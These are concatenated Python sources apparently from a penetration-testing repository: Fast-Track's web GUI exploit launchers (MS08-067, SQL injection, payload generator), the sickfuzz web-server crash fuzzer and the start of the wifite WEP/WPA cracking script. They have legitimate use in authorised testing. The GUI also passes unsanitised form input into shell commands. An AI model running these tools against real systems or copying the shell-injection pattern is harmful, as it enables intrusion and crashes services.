except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS IBMTIVOLI ##############################
###################### START EXPLOITS OPENVIEWNNM ##############################
if self.path == "/openviewnnmpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
ipaddr=raw_post_data[1].rstrip()
ipaddr=ipaddr.replace("+"," ")
load_header(self)
load_nav(self)
openviewnnm=file("bin/web/html/finished","r").readlines()
for line in openviewnnm:
self.wfile.write(line)
load_footer(self)
try:
openviewcgi=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track HP OpenView NNM Exploit" -e "python %s/fast-track.py -c 7 2 %s" 2> /dev/null""" % (definepath,ipaddr), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS OPENVIEWNNM ##############################
###################### START EXPLOITS QUICKTIME ##############################
if self.path == "/quicktimepost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
quicktime=file("bin/web/html/finished","r").readlines()
load_header(self)
load_nav(self)
for line in quicktime:
self.wfile.write(line)
load_footer(self)
try:
quicktime=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track RTSP 7.3 SEH Exploit" -e "python %s/fast-track.py -c 7 4" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS QUICKTIME ##############################
###################### START EXPLOITS GOODTECH ##############################
if self.path == "/goodtechpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
goodtech=file("bin/web/html/finished","r").readlines()
for line in goodtech:
self.wfile.write(line)
load_footer(self)
try:
goodtech=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Goodtech 6.4 Buffer Overflow Exploit" -e "python %s/fast-track.py -c 7 5" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS GOODTECH ##############################
###################### START EXPLOITS MS08067 ##############################
if self.path == "/ms08067post":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
ms08067=file("bin/web/html/finished","r").readlines()
for line in ms08067:
self.wfile.write(line)
load_footer(self)
try:
ms08067=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track MS08-067 Server Service Buffer Overflow Exploit" -e "python %s/fast-track.py -c 7 6" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS MS08067 ##############################
###################### START EXPLOITS MS09002 ##############################
if self.path == "/ms09002post":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
ms09002=file("bin/web/html/finished","r").readlines()
for line in ms09002:
self.wfile.write(line)
load_footer(self)
try:
ms09002=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track MS IE 7 Memory Corruption (MS09-002)" -e "python %s/fast-track.py -c 7 10" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS MS09002 ##############################
###################### START EXPLOITS MIRC ##############################
if self.path == "/mircpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
mirc=file("bin/web/html/finished","r").readlines()
for line in mirc:
self.wfile.write(line)
load_footer(self)
try:
mirc=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track mIRC 6.34 Remote Buffer Overflow Exploit" -e "python %s/fast-track.py -c 7 7" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS MIRC ##############################
###################### START EXPLOITS TFTP ##############################
if self.path == "/tftppost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
tftp=file("bin/web/html/finished","r").readlines()
for line in tftp:
self.wfile.write(line)
load_footer(self)
try:
tftp=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track TFTP Server Windows V1.4 ST Buffer Overflow Exploit" -e "python %s/fast-track.py -c 7 8" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS TFTP ##############################
###################### START EXPLOITS XML ##############################
if self.path == "/xmlcorruptionbopost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
xml=file("bin/web/html/finished","r").readlines()
for line in xml:
self.wfile.write(line)
load_footer(self)
try:
xml=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track IE XML Corruption Heap Spray" -e "python %s/fast-track.py -c 7 9" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS XML ##############################
###################### START EXPLOITS DIRECTSHOW ##############################
if self.path == "/directshowheappost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
xml=file("bin/web/html/finished","r").readlines()
for line in xml:
self.wfile.write(line)
load_footer(self)
try:
xml=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track DirectShow Heap Spray" -e "python %s/fast-track.py -c 7 11" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS DIRECTSHOW ##############################
###################### START EXPLOITS FireFox 3.5 ##############################
if self.path == "/firefox35post":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
xml=file("bin/web/html/finished","r").readlines()
for line in xml:
self.wfile.write(line)
load_footer(self)
try:
xml=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track FireFox 3.5 Heap Spray" -e "python %s/fast-track.py -c 7 12" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS FireFox 3.5 ##############################
###################### START SQLPWNAGE BLIND ##############################
if self.path == "/sqlpwnageblindpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
url=raw_post_data[1].rstrip()
url=url.replace("%3A",":")
url=url.replace("%2F","/")
url=url.replace("%3F","?")
url=url.replace("%3D","=")
url=url.replace("%27","'")
url=url.replace("%26","&")
# Used to escape the ' and & in shell
url=url.replace("'","\\'")
url=url.replace("&","\\&")
ipaddr=raw_post_data[3].rstrip()
payload=raw_post_data[5].rstrip()
portnum=raw_post_data[7].rstrip()
load_header(self)
load_nav(self)
manualpayloadpost=file("bin/web/html/finished","r").readlines()
for line in manualpayloadpost:
self.wfile.write(line)
load_footer(self)
try:
manualpayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQLPwnage Blind" -e "python %s/fast-track.py -c 8 1 %s %s %s %s"''' % (definepath,url,ipaddr,payload,portnum), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
except Exception,e:
print e
pass
###################### END SQLPWNAGE BLIND ##############################
###################### START SQLPWNAGE Error ##############################
if self.path == "/sqlpwnageerrorpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
url=raw_post_data[1].rstrip()
ipaddr=raw_post_data[3].rstrip()
ipaddr=ipaddr.replace("%3A",":")
ipaddr=ipaddr.replace("%2F","/")
ipaddr=ipaddr.replace("%3F","?")
ipaddr=ipaddr.replace("%3D","=")
ipaddr=ipaddr.replace("%27","'")
ipaddr=ipaddr.replace("%26","&")
# Used to escape the ' and & in shell
ipaddr=ipaddr.replace("'","\\'")
ipaddr=ipaddr.replace("&","\\&")
payload=raw_post_data[5].rstrip()
portnum=raw_post_data[7].rstrip()
load_header(self)
load_nav(self)
manualpayloadpost=file("bin/web/html/finished","r").readlines()
for line in manualpayloadpost:
self.wfile.write(line)
load_footer(self)
try:
manualpayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQLPwnage Blind" -e "python %s/fast-track.py -c 8 2 %s %s %s %s"''' % (definepath,url,ipaddr,payload,portnum), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
except Exception,e:
print e
pass
###################### END SQLPWNAGE Error ##############################
###################### START PAYLOADGEN ##############################
if self.path == "/payloadgenpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
payloadgen=file("bin/web/html/finished","r").readlines()
for line in payloadgen:
self.wfile.write(line)
load_footer(self)
try:
payloadgen=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Payload Generator" -e "python %s/fast-track.py -c 9"''' % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END PayloadGen ##############################
# Print standard browser headers
def printBrowserHeaders(self):
self.wfile.write("<p>Headers: <br>")
header_keys = self.headers.dict.keys()
for key in header_keys:
self.wfile.write("<b>" + key + "</b>: ")
self.wfile.write(self.headers.dict[key] + "<br>")
# Print custom HTTP Response
def printCustomHTTPResponse(self, respcode):
self.send_response(respcode)
self.send_header("Content-type", "text/html")
self.send_header("Server", "myRequestHandler")
self.end_headers()
# In case of exceptions, pass them
except Exception:
pass
#
# Specify starting parameters..if you want to make this exposed remotely (highly not recommended)
# just change '127.0.0.1' to ''. Warning on this, I didn't harden this at all, so use at your own
# risk externally.
#
try:
port=sys.argv[2]
except IndexError:
port='44444'
httpd = HTTPServer(('127.0.0.1', int(port)), myRequestHandler)
print "\n****************************************\nFast-Track Web GUI Front-End\nWritten by: David Kennedy (ReL1K)\n****************************************\n"
print "Starting HTTP Server on 127.0.0.1 port %s\n" % (port)
print "*** Open a browser and go to http://127.0.0.1:%s ***\n" % (port)
print "Type <control>-c to exit.."
try:
# Uncomment if you want to launch firefox upon opening
#print "Launching FireFox on Localhost port: %s" % (port)
#launchfirefox=os.popen2("firefox localhost:%s" % (port))
# Open sockets, open for business
httpd.handle_request()
# Serve HTTP server forever
httpd.serve_forever()
# Except Keyboard Interrupts and throw custom message
except KeyboardInterrupt:
print "\n\nExiting Fast-Track Web Gui...\n\n"
# Remove old files
cleanup=subprocess.Popen("rm sqlpassword 2> /dev/null;rm SqlScan.txt 2> /dev/null;rm sqlopen.txt 2> /dev/null;rm pentest 2> /dev/null;killall python 2> /dev/null", shell=True)
# Terminate process
sys.exit()
| 51,345
|
Python
|
.py
| 1,154
| 37.136049
| 275
| 0.594206
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,417
|
ftgui_pageobjects.py.svn-base
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/web/.svn/text-base/ftgui_pageobjects.py.svn-base
|
''' Created on Sep 20, 2010
@author: j0fer '''
import re
import string
# Header section for webpage
def load_header(self):
headeropen = file("bin/web/html/header", "r").readlines()
for line in headeropen:
self.wfile.write(line)
# Left hand nav section for webpage
def load_nav(self):
navopen = file("bin/web/html/nav", "r").readlines()
for line in navopen:
self.wfile.write(line)
# Footer section for webpage
def load_footer(self):
footeropen = file("bin/web/html/footer", "r").readlines()
for line in footeropen:
self.wfile.write(line)
# Standard function to draw exploit page
def draw_frame(self):
frame = (self.path).lstrip('/')
load_header(self)
load_nav(self)
currentdata = file("bin/web/html/" + frame, "r").readlines()
for line in currentdata:
self.wfile.write(line)
load_footer(self)
# Draw frames which read from textfile(s)
def draw_complexframe(self, title, textfile):
load_header(self)
load_nav(self)
frame_head1 = file("bin/web/html/frame_head1", "r").readlines()
for line in frame_head1:
self.wfile.write(line)
self.wfile.write(title)
frame_head2 = file("bin/web/html/frame_head2", "r").readlines()
for line in frame_head2:
self.wfile.write(line)
currentdata = file(textfile, "r").readlines()
for line in currentdata:
self.wfile.write(line + "<br>")
frame_foot = file("bin/web/html/frame_foot", "r").readlines()
for line in frame_foot:
self.wfile.write(line)
load_footer(self)
# Common task code, displays 'finished' message
def dofinishedpost(self):
load_header(self)
load_nav(self)
finishedpost = file("bin/web/html/finished", "r").readlines()
for line in finishedpost:
self.wfile.write(line)
load_footer(self)
# Common task code, performs exploitation tasks
def doexploitpost(self):
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data = re.split('=|&', raw_post_data)
self.send_response(200)
self.end_headers()
ipaddr = raw_post_data[1].rstrip()
ipaddr = ipaddr.replace("+", " ")
dofinishedpost(self)
# Common error message code
def showposterror(self):
print "Exiting Fast-Track Web GUI.."
print "\nType <ctrl>-c again to exit Fast-Track Web Gui.."
| 2,387
|
Python
|
.py
| 68
| 30.514706
| 69
| 0.684759
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,418
|
sickfuzz.py
|
pwnieexpress_raspberry_pwn/src/pentest/sickfuzz/sickfuzz.py
|
#!/usr/bin/env python
# Author: sickness
# Hope you like it
# For any bugs/suggestions contact sick.n3ss416@gmail.com
import sys,subprocess,time,os,signal,socket,getopt,urllib2
from time import sleep,localtime,strftime
#-------------------------------------------------------------------------------
spike = ""
fpath = ""
script = ""
ip = ""
port = ""
iface = ""
log = ""
#-------------------------------------------------------------------------------
def help_screen():
print " __ ___ "
print " __ /\ \ /'___\ "
print " ____/\_\ ___\ \ \/'\ /\ \__/ __ __ ____ ____ "
print " /',__\/\ \ /'___\ \ , < \ \ ,__\/\ \/\ \/\_ ,`\ /\_ ,`\ "
print " /\__, `\ \ \/\ \__/\ \ \\`\ \ \ \_/\ \ \_\ \/_/ /_\/_/ /_ "
print " \/\____/\ \_\ \____\\ \_\ \_\ \ \_\ \ \____/ /\____\ /\____\ "
print " \/___/ \/_/\/____/ \/_/\/_/ \/_/ \/___/ \/____/ \/____/\n\n"
print " Welcome to sickfuzz version 0.3"
print " Codename: 'Have you g0tmi1k!?'"
print " Author: sickness"
print " Bug reports or suggestions at: sick.n3ss416@gmail.com\n"
print " Usage example:"
print " ./sickfuzz.py --spike /pentest/fuzzers/spike/ --fpath /root/sickfuzz/ --script all --ip 192.168.1.64 --port 80 --iface wlan0 --log /root/"+"\n"
print " IMPORTANT: DO NOT USE THE pcap_logs DIRECTORY TO SAVE LOGS from --log !!!\n"
print " -h/--help - prints this help menu."
print " -s/--spike <path to spike folder>"
print " -f/--fpath <path to the fuzzer>"
print " -c/--script <[all]/[number]> use --script-show to view available scripts"
print " -t/--ip <target ip>"
print " -p/--port <target port>"
print " -i/--iface <network interface>"
print " -l/--log <path where .pcap log files will be saved> (Other then 'pcap_logs' directory.)\n"
sys.exit()
def script_show():
print " [1/12] Fuzzing: AAAA"
print " [2/12] Fuzzing: GET /"
print " [3/12] Fuzzing: HEAD /"
print " [4/12] Fuzzing: POST /"
print " [5/12] Fuzzing: GET / HTTP/1.1"
print " [6/11] Fuzzing: HEAD / HTTP/1.1"
print " [7/12] Fuzzing: POST / HTTP/1.1"
print " [8/12] Fuzzing: Authorization:"
print " [9/12] Fuzzing: Content-Length:"
print " [10/12] Fuzzing: If-Modified-Since:"
print " [11/12] Fuzzing: Connection:"
print " [12/12] Fuzzing: X-a:"
sys.exit()
if len(sys.argv) == 1:
help_screen()
elif sys.argv[1] == ("--script-show" or "-c-show"):
script_show()
elif sys.argv[1] == ("-?" or "-h" or "--help"):
help_screen()
def openport():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((ip,int(port)))
s.shutdown(2)
return True
except:
return False
def spike_fuzz( x ):
if x == 0: print " [>] [1/12] Fuzzing: AAAA"
elif x == 1: print " [>] [2/12] Fuzzing: GET /"
elif x == 2: print " [>] [3/12] Fuzzing: HEAD /"
elif x == 3: print " [>] [4/12] Fuzzing: POST /"
elif x == 4: print " [>] [5/12] Fuzzing: GET / HTTP/1.1"
elif x == 5: print " [>] [6/12] Fuzzing: HEAD / HTTP/1.1"
elif x == 6: print " [>] [7/12] Fuzzing: POST / HTTP/1.1"
elif x == 7: print " [>] [8/12] Fuzzing: Authorization:"
elif x == 8: print " [>] [9/12] Fuzzing: Content-Length:"
elif x == 9: print " [>] [10/12] Fuzzing: If-Modified-Since:"
elif x == 10: print " [>] [11/12] Fuzzing: Connection:"
elif x == 11: print " [>] [12/12] Fuzzing: X-a:"
try:
subprocess.Popen("export LD_LIBRARY_PATH=. && cd "+spike+"&&"+fuzzer+" "+ip+" "+port+" "+fpath+scripts[x]+" "+skipv+" > "+fpath+"spike_log.txt",shell=True).wait()
except KeyboardInterrupt:
print " [>] Press CTRL+C again to stop fuzzing and start the clear-up process!\n"
sleep(1000000)
if openport() == True:
try:
print "\n [>] Finished, moving to next script ..."
print " [>] Press CTRL+C again to stop fuzzing!\n"
except KeyboardInterrupt:
log = log.rstrip("/")+"/"
clean_up()
sys.exit()
elif openport() == False:
print " [>] We have a crash!"
log = log.rstrip("/")+"/"
clean_up()
sys.exit()
def clean_up():
print " [>] Stopping fuzzing and tshark ..."
os.kill(tshark.pid,signal.SIGTERM)
print " [>] Starting clean-up process"
print " [>] Splitting .pcap files"
subprocess.Popen("editcap -c 10000 "+fpath+"pcap_logs/fuzzing_log.pcap"+" "+fpath+"pcap_logs/logs.pcap",shell=True).wait()
subprocess.Popen("mv -f "+fpath+"pcap_logs/*"+" "+log,shell=True).wait()
subprocess.Popen("rm -rf "+fpath+"pcap_logs/*",shell=True).wait()
subprocess.Popen("mv -f "+fpath+"spike_log.txt"+" "+log,shell=True).wait()
print " [>] Done!"
print " [>] Go to the 'pcap_logs' directory and delete anything from there.(DONT DO rm -rf pcap_logs/*)"
print " [>] For more details about the fuzzing strings open 'spike_log.txt' from your log directory.\n"
time_start = time.time()
print "\n [>] Fuzzing starting at "+strftime("%a, %d %b %Y %H:%M:%S", localtime())+" ..."
sleep(2)
try:
opts, args = getopt.getopt(sys.argv[1:], "s:f:c:t:p:i:l:h?", ["spike=","fpath=","script=","ip=","port=","iface=", "log=","help"])
except getopt.GetoptError, err:
help_screen()
sys.exit()
for o, a in opts:
if o in ("-s", "--spike"):
spike = a
if o in ("-f", "--fpath"):
fpath = a
if o in ("-c", "--script"):
script = a
if o in ("-t", "--ip"):
ip = a
if o in ("-p", "--port"):
port = a
if o in ("-i", "--iface"):
iface = a
if o in ("-l", "--log"):
log = a
try:
fuzzer = "./generic_web_server_fuzz2"
scripts = ["HTTP/web00.spk","HTTP/web01.spk","HTTP/web02.spk","HTTP/web03.spk","HTTP/web04.spk","HTTP/web05.spk","HTTP/web06.spk","HTTP/web07.spk","HTTP/web08.spk","HTTP/web09.spk","HTTP/web10.spk","HTTP/web11.spk"]
skipv = "0 0"
if spike == "" :
print "Missing \"--spike/-s\", check --help for more info.\n"
sys.exit()
if fpath == "" :
print "Missing \"--fpath/-f\", check --help for more info.\n"
sys.exit()
if script == "" :
print "Missing \"--script/-c\", check --help for more info.\n"
sys.exit()
if ip == "" :
print "Missing \"--ip/-t\", check --help for more info.\n"
sys.exit()
if port == "" :
print "Missing \"--port/-p\", check --help for more info.\n"
sys.exit()
if iface == "" :
print "Missing \"--iface/-i\", check --help for more info.\n"
sys.exit()
if log == "" :
print "Missing \"--log/-l\", check --help for more info.\n"
sys.exit()
print " [>] Starting: sickfuzz v0.3"
if openport() == True:
pass
else:
print " [>] Could not connect, check if the port is opened!"
sys.exit()
print " [>] Launching packet capture, please wait ..."
try:
fpath = fpath.rstrip("/")+"/"
tshark = subprocess.Popen("tshark -i "+iface+" -d tcp.port=="+port+",http -w "+fpath+"pcap_logs/fuzzing_log.pcap -q",shell=True)
sleep(2)
print " [>] Capturing packets, now starting the fuzzer ...!\n"
sleep(1)
except KeyboardInterrupt:
print " [>] Something went wrong!"
print " [>] Exiting ..."
sys.exit()
if script == "all":
script_numbers = range(0,12) # Scripts from 1 to 12.
for i in script_numbers:
if openport() == True:
spike = spike.rstrip("/")+"/"
fpath = fpath.rstrip("/")+"/"
spike_fuzz( i )
else:
log = log.rstrip("/")+"/"
clean_up()
sys.exit()
else:
if script == "1":
spike = spike.rstrip("/")+"/"
fpath = fpath.rstrip("/")+"/"
spike_fuzz( 0 )
elif script == "2":
spike = spike.rstrip("/")+"/"
fpath = fpath.rstrip("/")+"/"
spike_fuzz( 1 )
elif script == "3":
spike = spike.rstrip("/")+"/"
fpath = fpath.rstrip("/")+"/"
spike_fuzz( 2 )
elif script == "4":
spike = spike.rstrip("/")+"/"
fpath = fpath.rstrip("/")+"/"
spike_fuzz( 3 )
elif script == "5":
spike = spike.rstrip("/")+"/"
fpath = fpath.rstrip("/")+"/"
spike_fuzz( 4 )
elif script == "6":
spike = spike.rstrip("/")+"/"
fpath = fpath.rstrip("/")+"/"
spike_fuzz( 5 )
elif script == "7":
spike = spike.rstrip("/")+"/"
fpath = fpath.rstrip("/")+"/"
spike_fuzz( 6 )
elif script == "8":
spike = spike.rstrip("/")+"/"
fpath = fpath.rstrip("/")+"/"
spike_fuzz( 7 )
elif script == "9":
spike = spike.rstrip("/")+"/"
fpath = fpath.rstrip("/")+"/"
spike_fuzz( 8 )
elif script == "10":
spike = spike.rstrip("/")+"/"
fpath = fpath.rstrip("/")+"/"
spike_fuzz( 9 )
elif script == "11":
spike = spike.rstrip("/")+"/"
fpath = fpath.rstrip("/")+"/"
spike_fuzz( 10 )
elif script == "12":
spike = spike.rstrip("/")+"/"
fpath = fpath.rstrip("/")+"/"
spike_fuzz( 11 )
else:
print " [-] You have picked an invalid script."
print " [-] Use the -c-show/--script-show flags to see available scripts."
print "\n"
#-------------------------------------------------------------------------------
except KeyboardInterrupt:
print "\r"
print " [>] Fuzzing process ended at: "+strftime("%a, %d %b %Y %H:%M:%S", localtime())
print " [>] Elapsed time: %.2f minutes" % ((time.time() - time_start)/60)
print "\r"
log = log.rstrip("/")+"/"
clean_up()
sys.exit()
| 8,981
|
Python
|
.py
| 248
| 33.528226
| 216
| 0.55752
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,419
|
wifite.py
|
pwnieexpress_raspberry_pwn/src/pentest/wifite/wifite.py
|
#!/usr/bin/python
# -*- coding: cp1252 -*-
""" WIFITE
(c) 2010, 2011 derv merkler, Jose Maria Chia, Aaron
Type -h or -help for command-line options
"""
""" TODO LIST:
-crack at IVS option (-ivs)
-chop-chop stops if failed -- have it start again until it runs out of time!
-find someone to test SKA (my router won't allow it, broken SKA everytime)
-deauth entire router if SSID is hidden? (no, sets off alarms)
-convert all subprocess calls to pexpect (maybe?)
-convert subprocess.call('rm', to os.remove(
"""
import string, sys # basic stuff
import os, signal # needed for shells, sending commands, etc
import subprocess # because os.call is deprecated and unreliable
import time # need to sleep; keep track how long methods take
import re # reg-ex: for replacing characters in strings
import urllib # needed for downloading webpages (updating the script)
import tempfile # for creating temporary directory
import random # for random mac address
import sqlite3 # Database logging
try:
import pexpect # used during wpa_supplicant attacks
proc_intel=None
except ImportError:
# some users may nto have this module
print '[!] unable to import pexpect'
print '[!] if your chipset is intel4965; the fake-auth workaround will fail'
NO_XSERVER=False
try:
# GUI imports
from Tkinter import * # all of the gui modules we need
import tkFileDialog # for selecting the dictionary file
import threading # so the GUI doesn't lock up
except ImportError:
NO_XSERVER=True
print '[!] unable to import tkinter -- GUI disabled'
# current revision
REVISION=84
# default wireless interface (blank to prompt)
# ex: wlan0, wlan1, rausb0
IFACE=''
# default wpa-cracking password list (blank to prompt)
# NOTE: will default to 'wordlist.txt' if found in same directory as this script!
# ex: /pentest/passwords/wordlists/darkc0de.lst
DICT=''
# name of access point to attack (useful for targeting specific APs)
# also, the 'power' is stored in ESSID. ex: ESSID='pow>55' would crack all APs above 55dB
ESSID=''
TIMEWAITINGCLIENTS = 5 #Time listening for associated clients
# WPA variables
WPA=True # True=search for WPA access points; False=do not search for WPA access points
WPA_TIMEOUT=3.0 # how long to wait between deauthentications (in seconds)
WPA_MAXWAIT=300 # longest time to wait for a handshake capture (in seconds)
# you can temporarily change maxwait with -wpaw <time> where time is in minutes
# airodump variables
SCAN_MAXWAIT=0 # absolute time to wait for target scanning (in seconds), defaults to until cancelled
# you can change with -scanw <time> or --scan-maxwait <time> where time is in seconds
# WEP constants
WEP=True # True=search for WEP access points; False=do not search for WEP access points
WEP_PPS =250 # packets per second (lower for APs that are farther away)
WEP_MAXWAIT=600 # longest to wait for a WEP attack *METHOD* to finish (in seconds)
# if wep_maxwait is 600, it gives 10minutes FOR EACH ATTACK METHOD (frag, chopchop, arp, p0841)
# meaning a TOTAL of 40min per WEP access point (not including fake-authentication)
# you can disable certain WEP attacks below to save time
WEP_ARP =True # true=use arp-replay attack, false=don't use
WEP_CHOP =True # use chop-chop attack
WEP_FRAG =True # use fragmentation attack
WEP_P0841 =True # use -p 0841 replay attack
AUTOCRACK =9000 # begin cracking when our IVS count is... OVER9000!!!!!
CHANGE_MAC =True # set =True if you want to [temporarily] change the mac address of your wifi card
# to the MAC of a client on the targeted network.
EXIT_IF_NO_FAKEAUTH=True # during a WEP attack, if fake-authentication fails, the attack is cancelled
NO_HIDDEN_DEAUTH=False # when true, disables the option to send deauth packets to hidden access points
# only deauths clients and only when a fixed channel is selected
# this can help uncloak invisible access points, but is laggy
STRIP_HANDSHAKE=True # when true, strips handshake via pyrit (removes unnecessary packets from .cap file)
CRACK_WITH_PYRIT=False # when true, uses pyrit and cowpatty to crack WPA handshakes
# default channel to scan
CHANNEL='0' # 0 means attack all channels.
# it's probably a good idea to leave this 0 and use "-c 6" if you want to target channel 6
# keep track of how we're doing
CRACKED =0 # number of cracked networks
HANDSHAKES=0 # number of handshakes we've captured (does not count
# assorted lists for storing data
TARGETS =[]
CLIENTS ={} # dictionary type! for fast[er] client look-up
ATTACK =[]
WPA_CRACK=[]
THE_LOG =[]
# flag for exiting out of attacks early, this should ALWAYS be false
SKIP_TO_WPA=False
# flag for when we use intel4965 wireless card
HAS_INTEL4965=False
# mac addresses, used for restoring mac addresses after changing them
THIS_MAC=''
OLD_MAC =''
# more mac adddresses, for use with "-anon" anonymizer
ORIGINAL_MAC=''
ANONYMOUS_MAC=''
# flag for when we are running wifite inside of an XTERM window
USING_XTERM=False
# COLORS, because i think they're faaaaaabulous
W = "\033[0m"; # white (normal)
BLA= "\033[30m"; # black
R = "\033[31m"; # red
G = "\033[32m"; # green
O = "\033[33m"; # orange
B = "\033[34m"; # blue
P = "\033[35m"; # purple
C = "\033[36m"; # cyan
GR = "\033[37m"; # gray
# current file being run (hopefully wifite.py!)
THEFILE=__file__
if THEFILE.startswith('./'):
THEFILE=THEFILE[2:]
# temporary directory, to keep those pesky cap files out of the way
TEMPDIR=tempfile.mkdtemp(prefix='wifite')
if not TEMPDIR.endswith('/'):
TEMPDIR += '/'
# time remaining and time started (for the all attacks -- except WPA cracking)
TIME_REMAINING=0
TIME_STARTED=0
# attempt to load gui if it hasn't been disabled yet, catch errors
if not NO_XSERVER:
try:
# GUI needs a root for all children
root = Tk()
root.withdraw() # hide main window until we're ready
# there was a glitch where a window 'Tk' would appear on ctrl+c.. this fixed it!
except tkinter.TclError:
NO_XSERVER=True
print R+'[!] error loading tkinter; '+O+'disabling GUI...'
